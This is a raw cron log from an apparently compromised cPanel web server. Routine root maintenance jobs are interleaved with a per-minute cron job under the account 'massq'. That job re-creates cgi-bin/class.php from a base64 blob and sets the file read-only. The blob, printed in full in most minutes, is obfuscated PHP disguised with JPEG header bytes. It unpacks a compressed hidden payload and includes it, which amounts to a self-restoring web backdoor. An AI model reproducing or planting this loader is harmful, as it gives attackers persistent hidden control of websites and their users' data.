Sep 11 11:08:01 server CROND[20838]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:08:01 server CROND[20837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:08:01 server CROND[20839]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:09:01 server CROND[21207]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:09:01 server CROND[21205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:09:01 server CROND[21208]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:09:01 server CROND[21206]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 11:10:01 server CROND[21591]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 11:10:01 server CROND[21594]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:10:01 server CROND[21596]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 11:10:01 server CROND[21598]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 11:10:01 server CROND[21599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:10:01 server CROND[21597]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:10:01 server CROND[21600]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 11:10:01 server CROND[21595]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 11:11:01 server CROND[22521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:11:01 server CROND[22522]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:11:01 server CROND[22520]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:12:01 server CROND[23063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:12:01 server CROND[23065]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:12:01 server CROND[23066]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 11:12:01 server CROND[23067]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:13:01 server CROND[23433]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:13:01 server CROND[23432]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:13:01 server CROND[23434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:14:01 server CROND[23798]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:14:01 server CROND[23800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:14:01 server CROND[23799]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:15:01 server CROND[24171]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 11:15:01 server CROND[24175]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 11:15:01 server CROND[24187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:15:01 server CROND[24191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:15:01 server CROND[24193]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 11:15:01 server CROND[24189]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:15:01 server CROND[24188]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 11:15:01 server CROND[24190]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 11:16:01 server CROND[25099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:16:01 server CROND[25100]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:16:01 server CROND[25101]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:17:01 server CROND[25478]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:17:01 server CROND[25479]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:17:01 server CROND[25480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:18:01 server CROND[25848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:18:01 server CROND[25849]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:18:01 server CROND[25851]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:19:01 server CROND[26217]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:19:01 server CROND[26218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:19:01 server CROND[26219]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:20:01 server CROND[26635]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 11:20:01 server CROND[26639]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 11:20:01 server CROND[26642]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
